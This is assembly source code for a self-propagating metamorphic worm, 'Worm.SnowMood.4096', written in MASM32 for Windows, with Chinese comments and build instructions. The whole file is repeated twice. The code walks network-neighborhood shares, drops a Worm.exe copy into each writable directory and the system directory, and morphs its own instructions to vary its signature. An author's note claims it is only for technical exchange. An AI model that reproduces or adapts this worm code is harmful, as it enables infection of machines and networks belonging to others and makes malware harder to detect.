;-----------------------------------------------------------------
;病毒名称: Worm.SnowMood.4096(雪人的心)
;编写环境: WinXP,Masm32v6
;完成日期: 2002/11/10
;版 本: v1.0
;作 者: pkxp/CVC.GB(E-Mail:PeekXP@163.com)
;警 告 : 仅供技术交流,若有其他用途,概与本人无关!
; 万一有转贴,请保持完整性,多谢!
;-----------------------------------------------------------------
;程序简介:
;1. 这是一个简单的变形蠕虫,通过网络邻居传播。
;2. 发现共享目录后,在其中创建一个Worm.exe,然后写入文件头和.data段
; 将自身代码变形后再写入。PME32是一个变形引擎。
;3. 程序本意是说明这类蠕虫的写法,无关部分一概省略,甚至连自启动、
; 随机数、垃圾代码都没有。
;4. ml /c /coff snowmood.asm
; link /SUBSYSTEM:WINDOWS snowmood.obj
; /MERGE:.rdata=.data /MERGE:.text=.data
;-----------------------------------------------------------------
.386
.model flat,stdcall
option casemap:none
include useful.inc
include Macros.inc
.data
pMem dd 0
szWormName db '/Worm.exe',0
orig_worm db 50 dup (0)
copy_worm db MAX_PATH dup (0)
P segment
VStart:
i2 push PAGE_READWRITE
i2 push MEM_RESERVE or MEM_COMMIT
i2 push VEnd-VStart
i2 push 0
i2 call VirtualAlloc
i3 mov pMem,eax ;分配空间,准备变形
i3 mov esi,offset VStart
i3 mov edi,pMem
i2 push VEnd-VStart
i2 pop ecx
i2 rep movsb ;拷贝代码
i2 push 50
i2 push offset orig_worm
i2 push 0
i2 call GetModuleFileName ;得到程序路径
i2 push MAX_PATH
i2 push offset copy_worm
i2 call GetSystemDirectory ;得到系统目录
i2 push offset copy_worm
i2 call InfectDir ;感染系统目录
i2 push NULL
i2 call EnumNetWork ;感染网络邻居
i1 ret
;----------- 遍历网络邻居,找到目录后感染之 -----------
EnumNetWork PROC pNetResource : DWORD
LOCAL hEnum : DWORD
LOCAL Count : DWORD
LOCAL BufferSize : DWORD
nop
nop
nop
nop
i1 pushad
i2 push 0FFFFFFFFh
i2 pop Count
i2 push 16*1024
i2 pop BufferSize
i3 lea eax , hEnum
i2 push eax
i2 push pNetResource
i2 push 0
i2 push RESOURCETYPE_DISK
i2 push RESOURCE_GLOBALNET
i2 call WNetOpenEnum
i3 or eax,eax
i2 jnz EN_Exit
i2 push PAGE_READWRITE
i2 push MEM_RESERVE or MEM_COMMIT
i2 push 16*1024
i2 push 0
i2 call VirtualAlloc
i3 or eax,eax
i2 jz EN_Close
i3 mov pNetResource,eax
i3 lea eax,BufferSize
i2 push eax
i2 push pNetResource
i3 lea eax,Count
i2 push eax
i2 push hEnum
i2 call WNetEnumResource
i3 or eax,eax
i2 jnz EN_Free
i3 mov ecx,Count
i3 mov edi,pNetResource
assume edi:ptr NETRESOURCEA
EN_Loop:
i3 mov eax,[edi].dwUsage
i3 and al,2
i3 cmp al , 2
i2 jnz EN_Dir
EN_Container:
i2 push edi
i2 call EnumNetWork
i2 jmp EN_Next
EN_Dir:
i3 mov eax,[edi].lpRemoteName
i2 push [edi].lpRemoteName
i2 call InfectDir
EN_Next:
i3 add edi,sizeof NETRESOURCE
i2 loop EN_Loop
EN_Free:
i2 push MEM_RELEASE
i2 push 0
i2 push pNetResource
i2 call VirtualFree
EN_Close:
i2 push hEnum
i2 call WNetCloseEnum
EN_Exit:
i1 popad
i2 ret 4
EnumNetWork ENDP
;------------------InfectDir---------------------------------
;输入:目录地址
;输出:在目录中创建一个蠕虫文件
;思路:创建文件,把自身映象的PE头和第一个段.data
; 写入文件,然后把自身代码变形,写入文件。
;------------------------------------------------------------
InfectDir PROC RemoteDir : DWORD
LOCAL ByteWrite:DWORD
nop
nop
nop
nop ;补足10个字节
i1 pushad
i2 push offset szWormName
i2 push RemoteDir
i2 call lstrcat
i2 push NULL
i2 push FILE_ATTRIBUTE_NORMAL
i2 push CREATE_ALWAYS
i2 push NULL
i2 push FILE_SHARE_READ+FILE_SHARE_WRITE
i2 push GENERIC_READ+GENERIC_WRITE
i2 push RemoteDir
i2 call CreateFile
i3 or eax,eax
i2 jz ID_Exit
i3 xchg eax,esi
i3 lea edi,ByteWrite
i2 push 0
i2 push edi
i2 push 200h
i2 push 00400000h
i2 push esi
i2 call WriteFile ;文件头
i2 push 0
i2 push edi
i2 push 400h
i2 push 00401000h
i2 push esi
i2 call WriteFile ;.data
i2 push (instrz-VStart)/10
i2 pop ecx
i2 push ebp
i3 xor ebp,ebp
i3 mov edi,pMem
i2 call PME32 ;instrz->VStart的代码变形
i2 pop ebp
i3 lea edi,ByteWrite
i2 push 0
i2 push edi
i2 push 0A00h ;VEnd-VStart按FileAlignment对其
i2 push pMem
i2 push esi
i2 call WriteFile ;Write code
i2 push esi
i2 call CloseHandle
ID_Exit:
i1 popad
i2 ret 4
InfectDir ENDP
;-------------------PME32--------------------------------
;输入:
; EDI - 变形的一段代码
; ECX - 待变形代码长度,按10字节计算
;输出:
; EDI - 移动到指令之后
;思路:
; 每次取出包含一条指令的10个字节,先试图变形
; 后插入垃圾代码.
PME32:
i1 pushad
ExploreIns:
i2 push ecx
i2 call MORPHER
i2 call GARBAGER ;insert garbage code
i2 pop ecx
i2 loop ExploreIns
i1 popad
i1 ret
;---------------MORPHER---------------------------------------
;输入:
; EDI - 待变形的指令地址
;输出:
; EDI - 移动到指令之后
; EAX - 新指令的长度
;思路:
; 将当前指令与指令集中所有指令比较,匹配后变形。
;--------------------------------------------------------------
MORPHER: ;start of morpher code
i3 lea esi,[instrz+ebp]
analyse_instr:
i1 lodsd
i3 test eax,eax
i2 je end_MORPHER ;所有指令比较完毕,没有比配的
i3 add eax,ebp ;得到函数地址
i3 xchg eax,edx ;保存在edx中,eax还要用
explore_instr:
i3 xor eax,eax
i1 lodsb ;扩充用
i3 test al,al
i2 je end_instr ;分析完一条指令了吗?
i2 push edi
i2 dec eax
i3 add edi,eax
i1 cmpsb ;比较一个字节
i2 pop edi
i2 je explore_instr ;相等,继续
next_instr: ;已经有一个字节不相等,找下一条指令
i1 lodsb
i3 test al,al
i2 jne next_instr ;找到指令结尾标志0
i2 jmp analyse_instr ;分析下一条指令
end_instr:
i2 push edi
i2 call edx ;调用指令变形函数
i2 pop eax
i3 sub eax,edi
i2 neg eax ;得到新指令长度
end_MORPHER:
i1 ret
;-------- PUSHAD --------
shr_pushad:
i3 mov al,60h ;write single PUSHAD opcode
stosb_ret:
i1 stosb
i1 ret
exp_pushad:
i2 push 8 ;write PUSH EAX
i2 pop ecx ; PUSH ECX
i3 mov al,50h ; ...
ep0: ; PUSH EDI
i1 stosb
i2 inc eax
i2 loop ep0
i1 ret
;-------- POPAD --------
shr_popad:
i3 mov al,61h ;write single POPAD opcode
i2 jmp stosb_ret
exp_popad:
i2 push 8 ;write POP EDI
i2 pop ecx ; POP ESI
i3 mov al,5Fh ; ...
ep1: ; POP EAX
i1 stosb
i2 dec eax
i2 loop ep1
i1 ret
;-------- RET -------------
shr_ret:
i3 mov al,0C3h ;shrink to RET
i2 jmp stosb_ret
exp_ret:
i3 mov eax,0FF04C483h ;83C404 ADD ESP,4
i1 stosd ;FF6424FC JMP DWORD PTR [ESP-4]
i3 mov ax,2464h
i1 stosw
i3 mov al,0FCh
i2 jmp stosb_ret
;-------- INC EAX----------
shr_inceax:
i3 mov al,40h ;write single INC EAX opcode
i2 jmp stosb_ret
exp_inceax:
i3 mov al,83h ;83 C0 01 ADD EAX,1
i1 stosb
i3 mov ax,01c0h
i1 stosw
i1 ret
;-------- STOSD --------
shr_stosd:
i3 mov al,0ABh ;shrink to STOSD
i2 jmp stosb_ret
exp_stosd:
i3 mov eax,0C7830789h ;create MOV [EDI],EAX
i1 stosd ; ADD EDI,4
i3 mov al,4
i2 jmp stosb_ret
;-------------------- GARBAGER -------------------------------
;输入:
; EAX - 新指令长度
; EDI - 新指令下一个字节的地址
;输出:
; EDI - 下一条指令地址
;思路:
; 在10个字节空间里,已经有一条真正指令,edi指向其后在剩下
; 的空间内填充NOP.edi随之后移,指向了下一条真正指令。
; 如果eax=0,说明MORPHER匹配失败,那么要把edi加10。
; 指向下一条指令。
;---------------------------------------------------------------
GARBAGER:
i3 or eax,eax
i2 jz G1
i3 mov ecx,INSTRLEN
i3 sub ecx,eax
i3 mov al,90h
G0:
i1 stosb
i2 loop G0
i2 jmp G2
G1:
i3 add edi,INSTRLEN
G2:
i1 ret
instrz:
;shrinker part
dd offset shr_pushad
db 1,50h,2,51h,3,52h,4,53h,5,54h,6,55h,7,56h,8,57h,0
dd offset shr_popad
db 1,5Fh,2,5Eh,3,5Dh,4,5Ch,5,5Bh,6,5Ah,7,59h,8,58h,0
dd offset shr_ret
db 1,83h,2,0C4h,3,04h,4,0FFh,5,64h,6,24h,7,0FCh,0
dd offset shr_inceax
db 1,83h,2,0C0h,3,01h,0
dd offset shr_stosd
db 1,89h,2,07h,3,83h,4,0C7h,5,04h,0
;expander part
dd offset exp_pushad
db 1,60h,0
dd offset exp_popad
db 1,61h,0
dd offset exp_ret
db 1,0C3h,0
dd offset exp_inceax
db 1,40h,0
dd offset exp_stosd
db 1,0ABh,0
dd 0 ;结束标志
VEnd:
P ends
end VStart
//macros.inc
INSTRLEN equ 10
i3 macro code1_2,code3
local s,e
s:
code1_2 , code3 ;e.g. MOV EAX,EBX
e:
db INSTRLEN-(e-s) dup (90h)
endm
i2 macro code1,code2
local s,e
s:
code1 code2 ;e.g. INC EAX
e:
db INSTRLEN-(e-s) dup (90h)
endm
i1 macro code1
local s,e
s:
code1 ;e.g. STOSD
e:
db INSTRLEN-(e-s) dup (90h)
endm
//useful.inc
include /masm32/include/windows.inc
include /masm32/include/kernel32.inc
includelib /masm32/lib/kernel32.lib
include /masm32/include/user32.inc
includelib /masm32/lib/user32.lib
@pushsz MACRO str
LOCAL next
call next
db str,0
next:
ENDM
;病毒名称: Worm.SnowMood.4096(雪人的心)
;编写环境: WinXP,Masm32v6
;完成日期: 2002/11/10
;版 本: v1.0
;作 者: pkxp/CVC.GB(E-Mail:PeekXP@163.com)
;警 告 : 仅供技术交流,若有其他用途,概与本人无关!
; 万一有转贴,请保持完整性,多谢!
;-----------------------------------------------------------------
;程序简介:
;1. 这是一个简单的变形蠕虫,通过网络邻居传播。
;2. 发现共享目录后,在其中创建一个Worm.exe,然后写入文件头和.data段
; 将自身代码变形后再写入。PME32是一个变形引擎。
;3. 程序本意是说明这类蠕虫的写法,无关部分一概省略,甚至连自启动、
; 随机数、垃圾代码都没有。
;4. ml /c /coff snowmood.asm
; link /SUBSYSTEM:WINDOWS snowmood.obj
; /MERGE:.rdata=.data /MERGE:.text=.data
;-----------------------------------------------------------------
.386
.model flat,stdcall
option casemap:none
include useful.inc
include Macros.inc
.data
pMem dd 0
szWormName db '/Worm.exe',0
orig_worm db 50 dup (0)
copy_worm db MAX_PATH dup (0)
P segment
VStart:
i2 push PAGE_READWRITE
i2 push MEM_RESERVE or MEM_COMMIT
i2 push VEnd-VStart
i2 push 0
i2 call VirtualAlloc
i3 mov pMem,eax ;分配空间,准备变形
i3 mov esi,offset VStart
i3 mov edi,pMem
i2 push VEnd-VStart
i2 pop ecx
i2 rep movsb ;拷贝代码
i2 push 50
i2 push offset orig_worm
i2 push 0
i2 call GetModuleFileName ;得到程序路径
i2 push MAX_PATH
i2 push offset copy_worm
i2 call GetSystemDirectory ;得到系统目录
i2 push offset copy_worm
i2 call InfectDir ;感染系统目录
i2 push NULL
i2 call EnumNetWork ;感染网络邻居
i1 ret
;----------- 遍历网络邻居,找到目录后感染之 -----------
EnumNetWork PROC pNetResource : DWORD
LOCAL hEnum : DWORD
LOCAL Count : DWORD
LOCAL BufferSize : DWORD
nop
nop
nop
nop
i1 pushad
i2 push 0FFFFFFFFh
i2 pop Count
i2 push 16*1024
i2 pop BufferSize
i3 lea eax , hEnum
i2 push eax
i2 push pNetResource
i2 push 0
i2 push RESOURCETYPE_DISK
i2 push RESOURCE_GLOBALNET
i2 call WNetOpenEnum
i3 or eax,eax
i2 jnz EN_Exit
i2 push PAGE_READWRITE
i2 push MEM_RESERVE or MEM_COMMIT
i2 push 16*1024
i2 push 0
i2 call VirtualAlloc
i3 or eax,eax
i2 jz EN_Close
i3 mov pNetResource,eax
i3 lea eax,BufferSize
i2 push eax
i2 push pNetResource
i3 lea eax,Count
i2 push eax
i2 push hEnum
i2 call WNetEnumResource
i3 or eax,eax
i2 jnz EN_Free
i3 mov ecx,Count
i3 mov edi,pNetResource
assume edi:ptr NETRESOURCEA
EN_Loop:
i3 mov eax,[edi].dwUsage
i3 and al,2
i3 cmp al , 2
i2 jnz EN_Dir
EN_Container:
i2 push edi
i2 call EnumNetWork
i2 jmp EN_Next
EN_Dir:
i3 mov eax,[edi].lpRemoteName
i2 push [edi].lpRemoteName
i2 call InfectDir
EN_Next:
i3 add edi,sizeof NETRESOURCE
i2 loop EN_Loop
EN_Free:
i2 push MEM_RELEASE
i2 push 0
i2 push pNetResource
i2 call VirtualFree
EN_Close:
i2 push hEnum
i2 call WNetCloseEnum
EN_Exit:
i1 popad
i2 ret 4
EnumNetWork ENDP
;------------------InfectDir---------------------------------
;输入:目录地址
;输出:在目录中创建一个蠕虫文件
;思路:创建文件,把自身映象的PE头和第一个段.data
; 写入文件,然后把自身代码变形,写入文件。
;------------------------------------------------------------
InfectDir PROC RemoteDir : DWORD
LOCAL ByteWrite:DWORD
nop
nop
nop
nop ;补足10个字节
i1 pushad
i2 push offset szWormName
i2 push RemoteDir
i2 call lstrcat
i2 push NULL
i2 push FILE_ATTRIBUTE_NORMAL
i2 push CREATE_ALWAYS
i2 push NULL
i2 push FILE_SHARE_READ+FILE_SHARE_WRITE
i2 push GENERIC_READ+GENERIC_WRITE
i2 push RemoteDir
i2 call CreateFile
i3 or eax,eax
i2 jz ID_Exit
i3 xchg eax,esi
i3 lea edi,ByteWrite
i2 push 0
i2 push edi
i2 push 200h
i2 push 00400000h
i2 push esi
i2 call WriteFile ;文件头
i2 push 0
i2 push edi
i2 push 400h
i2 push 00401000h
i2 push esi
i2 call WriteFile ;.data
i2 push (instrz-VStart)/10
i2 pop ecx
i2 push ebp
i3 xor ebp,ebp
i3 mov edi,pMem
i2 call PME32 ;instrz->VStart的代码变形
i2 pop ebp
i3 lea edi,ByteWrite
i2 push 0
i2 push edi
i2 push 0A00h ;VEnd-VStart按FileAlignment对其
i2 push pMem
i2 push esi
i2 call WriteFile ;Write code
i2 push esi
i2 call CloseHandle
ID_Exit:
i1 popad
i2 ret 4
InfectDir ENDP
;-------------------PME32--------------------------------
;输入:
; EDI - 变形的一段代码
; ECX - 待变形代码长度,按10字节计算
;输出:
; EDI - 移动到指令之后
;思路:
; 每次取出包含一条指令的10个字节,先试图变形
; 后插入垃圾代码.
PME32:
i1 pushad
ExploreIns:
i2 push ecx
i2 call MORPHER
i2 call GARBAGER ;insert garbage code
i2 pop ecx
i2 loop ExploreIns
i1 popad
i1 ret
;---------------MORPHER---------------------------------------
;输入:
; EDI - 待变形的指令地址
;输出:
; EDI - 移动到指令之后
; EAX - 新指令的长度
;思路:
; 将当前指令与指令集中所有指令比较,匹配后变形。
;--------------------------------------------------------------
MORPHER: ;start of morpher code
i3 lea esi,[instrz+ebp]
analyse_instr:
i1 lodsd
i3 test eax,eax
i2 je end_MORPHER ;所有指令比较完毕,没有比配的
i3 add eax,ebp ;得到函数地址
i3 xchg eax,edx ;保存在edx中,eax还要用
explore_instr:
i3 xor eax,eax
i1 lodsb ;扩充用
i3 test al,al
i2 je end_instr ;分析完一条指令了吗?
i2 push edi
i2 dec eax
i3 add edi,eax
i1 cmpsb ;比较一个字节
i2 pop edi
i2 je explore_instr ;相等,继续
next_instr: ;已经有一个字节不相等,找下一条指令
i1 lodsb
i3 test al,al
i2 jne next_instr ;找到指令结尾标志0
i2 jmp analyse_instr ;分析下一条指令
end_instr:
i2 push edi
i2 call edx ;调用指令变形函数
i2 pop eax
i3 sub eax,edi
i2 neg eax ;得到新指令长度
end_MORPHER:
i1 ret
;-------- PUSHAD --------
shr_pushad:
i3 mov al,60h ;write single PUSHAD opcode
stosb_ret:
i1 stosb
i1 ret
exp_pushad:
i2 push 8 ;write PUSH EAX
i2 pop ecx ; PUSH ECX
i3 mov al,50h ; ...
ep0: ; PUSH EDI
i1 stosb
i2 inc eax
i2 loop ep0
i1 ret
;-------- POPAD --------
shr_popad:
i3 mov al,61h ;write single POPAD opcode
i2 jmp stosb_ret
exp_popad:
i2 push 8 ;write POP EDI
i2 pop ecx ; POP ESI
i3 mov al,5Fh ; ...
ep1: ; POP EAX
i1 stosb
i2 dec eax
i2 loop ep1
i1 ret
;-------- RET -------------
shr_ret:
i3 mov al,0C3h ;shrink to RET
i2 jmp stosb_ret
exp_ret:
i3 mov eax,0FF04C483h ;83C404 ADD ESP,4
i1 stosd ;FF6424FC JMP DWORD PTR [ESP-4]
i3 mov ax,2464h
i1 stosw
i3 mov al,0FCh
i2 jmp stosb_ret
;-------- INC EAX----------
shr_inceax:
i3 mov al,40h ;write single INC EAX opcode
i2 jmp stosb_ret
exp_inceax:
i3 mov al,83h ;83 C0 01 ADD EAX,1
i1 stosb
i3 mov ax,01c0h
i1 stosw
i1 ret
;-------- STOSD --------
shr_stosd:
i3 mov al,0ABh ;shrink to STOSD
i2 jmp stosb_ret
exp_stosd:
i3 mov eax,0C7830789h ;create MOV [EDI],EAX
i1 stosd ; ADD EDI,4
i3 mov al,4
i2 jmp stosb_ret
;-------------------- GARBAGER -------------------------------
;输入:
; EAX - 新指令长度
; EDI - 新指令下一个字节的地址
;输出:
; EDI - 下一条指令地址
;思路:
; 在10个字节空间里,已经有一条真正指令,edi指向其后在剩下
; 的空间内填充NOP.edi随之后移,指向了下一条真正指令。
; 如果eax=0,说明MORPHER匹配失败,那么要把edi加10。
; 指向下一条指令。
;---------------------------------------------------------------
GARBAGER:
i3 or eax,eax
i2 jz G1
i3 mov ecx,INSTRLEN
i3 sub ecx,eax
i3 mov al,90h
G0:
i1 stosb
i2 loop G0
i2 jmp G2
G1:
i3 add edi,INSTRLEN
G2:
i1 ret
instrz:
;shrinker part
dd offset shr_pushad
db 1,50h,2,51h,3,52h,4,53h,5,54h,6,55h,7,56h,8,57h,0
dd offset shr_popad
db 1,5Fh,2,5Eh,3,5Dh,4,5Ch,5,5Bh,6,5Ah,7,59h,8,58h,0
dd offset shr_ret
db 1,83h,2,0C4h,3,04h,4,0FFh,5,64h,6,24h,7,0FCh,0
dd offset shr_inceax
db 1,83h,2,0C0h,3,01h,0
dd offset shr_stosd
db 1,89h,2,07h,3,83h,4,0C7h,5,04h,0
;expander part
dd offset exp_pushad
db 1,60h,0
dd offset exp_popad
db 1,61h,0
dd offset exp_ret
db 1,0C3h,0
dd offset exp_inceax
db 1,40h,0
dd offset exp_stosd
db 1,0ABh,0
dd 0 ;结束标志
VEnd:
P ends
end VStart
//macros.inc
INSTRLEN equ 10
i3 macro code1_2,code3
local s,e
s:
code1_2 , code3 ;e.g. MOV EAX,EBX
e:
db INSTRLEN-(e-s) dup (90h)
endm
i2 macro code1,code2
local s,e
s:
code1 code2 ;e.g. INC EAX
e:
db INSTRLEN-(e-s) dup (90h)
endm
i1 macro code1
local s,e
s:
code1 ;e.g. STOSD
e:
db INSTRLEN-(e-s) dup (90h)
endm
//useful.inc
include /masm32/include/windows.inc
include /masm32/include/kernel32.inc
includelib /masm32/lib/kernel32.lib
include /masm32/include/user32.inc
includelib /masm32/lib/user32.lib
@pushsz MACRO str
LOCAL next
call next
db str,0
next:
ENDM